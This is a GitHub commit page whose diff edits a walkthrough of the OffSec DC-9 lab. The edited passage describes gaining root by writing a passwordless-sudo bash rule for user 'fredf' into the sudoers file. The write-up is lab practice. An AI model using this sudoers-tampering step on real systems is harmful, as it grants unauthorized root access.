Skip to content

Commit

Permalink
post: offsec dc9 wip writeup update
Browse files Browse the repository at this point in the history
  • Loading branch information
l4rzy committed Jul 4, 2024
1 parent faf75c3 commit f9a092e
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion _posts/2024-07-01-offsec-labs-play-dc-9.md
Original file line number Diff line number Diff line change
Expand Up @@ -572,7 +572,7 @@ else :
f.close()
```

So we know that we can basically run `cp` as root. There are many ways to get root, let's append the sudoers file.
So we know that we can basically append to any file as root. There are many ways to get root, for example let's append the sudoers file.

```
fredf@dc-9:/etc/sudoers.d$ echo "fredf ALL=(root) NOPASSWD: /usr/bin/bash" > /tmp/conf
Expand Down

0 comments on commit f9a092e

Please sign in to comment.